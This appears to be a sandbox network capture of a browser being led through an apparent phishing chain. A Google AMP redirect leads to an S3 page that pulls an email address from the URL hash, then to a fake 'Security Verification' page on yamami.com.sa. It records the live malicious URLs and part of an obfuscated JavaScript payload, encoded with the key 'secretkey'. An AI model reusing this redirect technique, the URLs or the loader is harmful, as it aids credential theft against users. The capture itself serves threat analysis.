2024-12-03 16:53:54 UTC	1030	IN	HTTP/1.1 302 Found Location: https://www.google.mk/amp/s/xix-i.s3.us-west-2.amazonaws.com/ff.mp3.html Cache-Control: private Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-oFMl7f0Mkt7XM6Vy2E-e0w' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Permissions-Policy: unload=() P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Tue, 03 Dec 2024 16:53:53 GMT Server: gws Content-Length: 269 X-XSS-Protection: 0 Set-Cookie: NID=519=hYBHqjZwexhO0GzOnk2rH78DOiagGQAA2IxN2aoVAqiD4v2_De85Bevo_lYBkS6cp6OfzGC-KA-pD4fjo171e8JAvRSSqhnGcuUNb3fHtSkJlc7R_DZ0tfivIxXRs33aXMWgYG-EC_OI4yXLZXg9wFsL-9RaOT03toRe3TlouGhBTP5gokVwJplcBnp87-fauf0D; expires=Wed, 04-Jun-2025 16:53:53 GMT; path=/; domain=.google.mk; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-03 16:53:54 UTC	269	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 6d 6b 2f 61 6d 70 2f 73 2f 78 69 78 2d 69 2e 73 33 2e 75 73 2d 77 65 73 74 2d 32 2e 61 6d 61 7a 6f 6e 61 77 73 2e 63 6f 6d 2f 66 66 2e 6d 70 33 2e 68 74 6d 6c 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.mk/amp/s/xix-i.s3.us-west-2.amazonaws.com/ff.mp3.html">here</A>.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49748	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:53:54 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-03 16:53:55 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=162214 Date: Tue, 03 Dec 2024 16:53:54 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49749	172.217.19.227	443	8404	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:53:55 UTC	1057	OUT	GET /amp/s/xix-i.s3.us-west-2.amazonaws.com/ff.mp3.html HTTP/1.1 Host: www.google.mk Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=hYBHqjZwexhO0GzOnk2rH78DOiagGQAA2IxN2aoVAqiD4v2_De85Bevo_lYBkS6cp6OfzGC-KA-pD4fjo171e8JAvRSSqhnGcuUNb3fHtSkJlc7R_DZ0tfivIxXRs33aXMWgYG-EC_OI4yXLZXg9wFsL-9RaOT03toRe3TlouGhBTP5gokVwJplcBnp87-fauf0D
2024-12-03 16:53:56 UTC	821	IN	HTTP/1.1 302 Found Location: https://xix-i.s3.us-west-2.amazonaws.com/ff.mp3.html Cache-Control: private X-Robots-Tag: noindex Content-Type: text/html; charset=UTF-8 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-_C3RGOzIMORcHga19k6zEQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Permissions-Policy: unload=() Date: Tue, 03 Dec 2024 16:53:56 GMT Server: gws Content-Length: 249 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-03 16:53:56 UTC	249	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 78 69 78 2d 69 2e 73 33 2e 75 73 2d 77 65 73 74 2d 32 2e 61 6d 61 7a 6f 6e 61 77 73 2e 63 6f 6d 2f 66 66 2e 6d 70 33 2e 68 74 6d 6c 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://xix-i.s3.us-west-2.amazonaws.com/ff.mp3.html">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49754	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:53:56 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-03 16:53:57 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=69088 Date: Tue, 03 Dec 2024 16:53:56 GMT Content-Length: 55 Connection: close X-CID: 2
2024-12-03 16:53:57 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49756	52.92.196.250	443	8404	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:53:58 UTC	686	OUT	GET /ff.mp3.html HTTP/1.1 Host: xix-i.s3.us-west-2.amazonaws.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 16:53:59 UTC	413	IN	HTTP/1.1 200 OK x-amz-id-2: 6WDO2QjT7X0viJ0tQ00UNUdNQD9GwZbcO2fbjRdTG4RjpHTPgqAtV9cUyQNilP/iMb6bsR+hNw0= x-amz-request-id: WZY4Z6D9G9EDMYBN Date: Tue, 03 Dec 2024 16:54:00 GMT Last-Modified: Tue, 03 Dec 2024 15:43:28 GMT ETag: "e8016bf70f50ce16c52af6f286301178" x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Content-Type: text/html Content-Length: 448 Server: AmazonS3 Connection: close
2024-12-03 16:53:59 UTC	448	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 2f 2f 20 47 65 74 20 74 68 65 20 65 6e 63 6f 64 65 64 20 65 6d 61 69 6c 20 70 61 72 61 6d 65 74 65 72 20 66 72 6f 6d 20 74 68 65 20 55 52 4c 20 68 61 73 68 0a 20 20 20 20 20 20 20 20 76 61 72 20 65 6d 61 69 6c 45 6e 63 6f 64 65 64 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 2e 73 75 62 73 74 72 69 6e 67 28 31 29 3b 20 2f 2f 20 52 65 6d 6f 76 65 20 74 68 65 20 66 69 72 73 74 20 63 68 61 72 61 63 74 65 72 20 27 23 27 0a 0a 20 20 20 20 20 20 20 20 2f 2f 20 52 65 64 69 72 65 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <script> // Get the encoded email parameter from the URL hash var emailEncoded = window.location.hash.substring(1); // Remove the first character '#' // Redire

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49760	136.243.57.80	443	8404	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:01 UTC	712	OUT	GET /paper/karoke/index HTTP/1.1 Host: yamami.com.sa Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://xix-i.s3.us-west-2.amazonaws.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 16:54:02 UTC	888	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:02 GMT Server: Apache X-Frame-Options: SAMEORIGIN Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 03 Dec 2024 14:55:39 GMT Accept-Ranges: bytes Content-Length: 3133 Cache-Control: max-age=2592000 Expires: Thu, 02 Jan 2025 16:54:02 GMT Vary: Accept-Encoding X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains Referrer-Policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=self Content-Security-Policy: default-src 'self' https: data: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https: *; X-Permitted-Cross-Domain-Policies: none Feature-Policy: camera 'none'; microphone 'none'; geolocation 'self' Content-Type: text/html
2024-12-03 16:54:02 UTC	3133	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 65 63 75 72 69 74 79 20 56 65 72 69 66 69 63 61 74 69 6f 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Security Verification</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49758	136.243.57.80	443	8404	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:02 UTC	616	OUT	GET /paper/karoke/image/logo.png HTTP/1.1 Host: yamami.com.sa Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://yamami.com.sa/paper/karoke/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 16:54:02 UTC	867	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:02 GMT Server: Apache X-Frame-Options: SAMEORIGIN Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 28 Nov 2024 06:32:18 GMT Accept-Ranges: bytes Content-Length: 21327 Cache-Control: max-age=31536000 Expires: Wed, 03 Dec 2025 16:54:02 GMT X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains Referrer-Policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=self Content-Security-Policy: default-src 'self' https: data: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https: *; X-Permitted-Cross-Domain-Policies: none Feature-Policy: camera 'none'; microphone 'none'; geolocation 'self' Content-Type: image/png
2024-12-03 16:54:02 UTC	7325	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 4f 00 00 01 34 08 06 00 00 00 44 9d 7b b3 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 52 dc 49 44 41 54 78 da ec dd 4b 72 1b 49 da 20 5a af b2 1c 37 d5 2b 20 ea 6e 80 ac 15 10 39 e9 1e 92 35 6f 33 22 57 20 a6 71 01 82 16 40 4b e6 0a 14 32 eb 79 51 c3 be 93 04 57 50 e4 06 ba c0 15 94 78 37 f0 df 70 d0 91 82 28 3e 40 12 08 77 8f 38 c7 2c 0c 59 59 29 21 e0 8f 08 77 ff fc 11 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 37 7f 79 ea ff fc ff 8e fe 9f f3 f6 63 5f 32 f1 52 ff ed e2 ff 8e 5f f3 e7 3e fc bf 61 d2 7e 4c a4 20 af d0 Data Ascii: PNGIHDRO4D{pHYs.#.#x?vtEXtSoftwareAdobe ImageReadyqe<RIDATxKrI Z7+ n95o3"W q@K2yQWPx7p(>@w8,YY)!w7yc_2R_>a~L
2024-12-03 16:54:02 UTC	8000	IN	Data Raw: b7 93 82 fb 45 f1 5d ba 0c a4 c6 15 a9 71 5c ad e9 d9 7b b5 cb f2 f3 db 16 fe ce 83 47 ca d6 f2 1f 2f c3 b7 a0 ea e2 ea c3 d6 cc 82 a7 00 f4 4a 6c 5c b5 2f ef 8b 90 e7 0c c4 93 d0 83 e0 69 9a 8d d8 65 a3 fa cb 00 cf bb e0 f5 e5 33 06 87 2e 82 c1 7f d6 33 1d d8 ef 6d 82 00 4b e9 f6 da e7 d8 79 fb de eb fa 5c f1 e5 fb dd 56 e7 f5 bd f7 ce c3 c0 b6 1e af d0 6e 7a fe 1e 49 0a a0 c2 be ff 24 5d bb 85 dd de b8 94 55 fd a9 0f 9a ab ff 79 f5 86 fb 9e 84 b2 02 e2 eb be 53 63 f0 6f 9a da 40 e7 3d 09 a2 f6 7d fc 62 d9 56 3d 5c 29 7f 71 02 c4 2c 7c 3b e7 b6 ba 5d 3a 04 4f 01 e8 a3 d8 c0 ca 11 3c dd 4d b3 ce 6b df b6 6b da f1 f7 35 8a 2c 2f 2c 2f bb 92 81 17 74 be 07 a1 7d ff 4c 83 73 2c 6b f1 3e 4e f4 ca b0 cd d5 a4 92 f4 b9 5c f9 e7 e5 0c f6 38 5b ff dd ca bf 3f 18 Data Ascii: E]q\{G/Jl\/ie3.3mKy\VnzI$]UySco@=}bV=\)q,\|;]:O<Mkk5,/,/t}Ls,k>N\8[?
2024-12-03 16:54:03 UTC	6002	IN	Data Raw: 94 eb 79 1e 83 8b 7d dd 7a 7f 92 b3 bc a4 5d b1 e8 a6 4d f6 ae 84 67 c4 3a 79 2e 78 0a 00 6f d7 b7 40 e3 6d 30 b8 43 47 d2 39 76 a5 0c 82 37 72 84 02 95 f0 3c de 4b b3 c1 87 62 2a df 8b 7e 6f 7c ed c1 f3 7a 56 c0 3d c4 01 d8 21 4d 8c 98 a8 d7 14 cc f1 11 f4 c6 40 ce 8d cf d9 87 9d f6 6d f2 53 9a e0 74 38 f0 76 d9 90 9c 84 bc ab 8c d7 ce 73 c1 53 00 78 a3 b4 fd d6 75 8f 7e d2 85 ad 02 e9 ba cc 15 72 1f 07 6d c7 ed 44 76 a0 7e 3c 68 10 3b 12 a4 55 a7 07 99 6f e3 da ec f7 67 35 ea f5 46 0c 62 f5 69 1a 94 cd fd 7e bf 4d 13 c6 e0 21 82 a7 f4 49 15 db 71 be 45 e6 1d c8 76 43 ff 26 3f 4d b5 cb 86 a1 90 36 d9 da 79 2e 78 0a 00 9b 71 ee b7 40 2f 3a 2b 53 db f7 52 92 34 41 e7 a6 80 5b 89 67 9f 4e 07 90 e4 25 fc c6 46 c9 af a6 5e bc f6 fe 73 9e 97 b6 6a 28 67 7e 4f Data Ascii: y}z]Mg:y.xo@m0CG9v7r<Kb*~o\|zV=!M@mSt8vsSxu~rmDv~<h;Uog5Fbi~M!IqEvC&?M6y.xq@/:+SR4A[gN%F^sj(g~O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49759	136.243.57.80	443	8404	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:02 UTC	565	OUT	GET /paper/karoke/style.css HTTP/1.1 Host: yamami.com.sa Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://yamami.com.sa/paper/karoke/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 16:54:02 UTC	887	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:02 GMT Server: Apache X-Frame-Options: SAMEORIGIN Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 03 Dec 2024 14:40:40 GMT Accept-Ranges: bytes Content-Length: 6375 Cache-Control: max-age=2592000 Expires: Thu, 02 Jan 2025 16:54:02 GMT Vary: Accept-Encoding X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains Referrer-Policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=self Content-Security-Policy: default-src 'self' https: data: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https: *; X-Permitted-Cross-Domain-Policies: none Feature-Policy: camera 'none'; microphone 'none'; geolocation 'self' Content-Type: text/css
2024-12-03 16:54:02 UTC	6375	IN	Data Raw: 3a 72 6f 6f 74 20 7b 0a 20 20 20 20 2d 2d 70 72 69 6d 61 72 79 2d 63 6f 6c 6f 72 3a 20 23 30 30 36 36 63 63 3b 0a 20 20 20 20 2d 2d 70 72 69 6d 61 72 79 2d 68 6f 76 65 72 3a 20 23 30 30 35 32 61 33 3b 0a 20 20 20 20 2d 2d 65 72 72 6f 72 2d 63 6f 6c 6f 72 3a 20 23 64 63 33 35 34 35 3b 0a 20 20 20 20 2d 2d 73 75 63 63 65 73 73 2d 63 6f 6c 6f 72 3a 20 23 32 38 61 37 34 35 3b 0a 20 20 20 20 2d 2d 74 65 78 74 2d 70 72 69 6d 61 72 79 3a 20 23 32 63 33 65 35 30 3b 0a 20 20 20 20 2d 2d 74 65 78 74 2d 73 65 63 6f 6e 64 61 72 79 3a 20 23 36 34 37 34 38 62 3b 0a 20 20 20 20 2d 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 70 72 69 6d 61 72 79 3a 20 23 66 38 66 61 66 63 3b 0a 20 20 20 20 2d 2d 63 61 72 64 2d 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 Data Ascii: :root { --primary-color: #0066cc; --primary-hover: #0052a3; --error-color: #dc3545; --success-color: #28a745; --text-primary: #2c3e50; --text-secondary: #64748b; --background-primary: #f8fafc; --card-background: #ffffff;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49762	136.243.57.80	443	8404	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:03 UTC	551	OUT	GET /paper/karoke/script.js HTTP/1.1 Host: yamami.com.sa Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://yamami.com.sa/paper/karoke/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 16:54:04 UTC	934	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:04 GMT Server: Apache X-Frame-Options: SAMEORIGIN Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 03 Dec 2024 14:43:17 GMT Accept-Ranges: bytes Content-Length: 12374 Cache-Control: max-age=2592000 Expires: Thu, 02 Jan 2025 16:54:04 GMT Vary: Accept-Encoding X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains Referrer-Policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=self Content-Security-Policy: default-src 'self' https: data: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https: ; X-Permitted-Cross-Domain-Policies: none Feature-Policy: camera 'none'; microphone 'none'; geolocation 'self' Access-Control-Allow-Origin: Content-Type: application/javascript
2024-12-03 16:54:04 UTC	7258	IN	Data Raw: 76 61 72 20 6b 65 79 20 3d 20 22 73 65 63 72 65 74 6b 65 79 22 3b 0a 76 61 72 20 65 6e 63 6f 64 65 64 53 63 72 69 70 74 20 3d 20 22 46 77 6f 41 42 77 67 52 42 52 46 58 45 67 45 48 4e 78 4d 52 42 52 45 31 47 68 59 58 46 77 73 52 47 55 31 65 4e 79 6f 75 4d 51 6f 61 48 77 41 58 42 79 6b 4d 45 77 45 52 44 30 4a 56 55 30 31 4b 55 6c 68 4b 53 78 35 7a 55 30 56 44 55 67 6b 52 48 30 55 59 42 68 45 4d 46 52 63 56 43 51 63 63 46 79 41 4f 45 77 77 59 53 31 68 5a 56 45 4a 59 65 45 56 55 53 30 55 61 48 41 73 51 42 6b 55 64 47 43 67 57 45 51 77 50 46 30 56 4a 53 30 6f 51 49 77 30 4d 48 41 41 49 41 6a 55 59 46 78 6b 4b 49 67 6f 51 46 79 51 58 46 78 63 4d 47 77 46 62 41 6b 73 4e 46 68 59 58 57 67 73 56 48 51 77 65 45 68 45 4d 41 45 73 42 47 41 41 4c 4d 67 49 47 48 42 46 Data Ascii: var key = "secretkey";var encodedScript = "FwoABwgRBRFXEgEHNxMRBRE1GhYXFwsRGU1eNyouMQoaHwAXBykMEwERD0JVU01KUlhKSx5zU0VDUgkRH0UYBhEMFRcVCQccFyAOEwwYS1hZVEJYeEVUS0UaHAsQBkUdGCgWEQwPF0VJS0oQIw0MHAAIAjUYFxkKIgoQFyQXFxcMGwFbAksNFhYXWgsVHQweEhEMAEsBGAALMgIGHBF
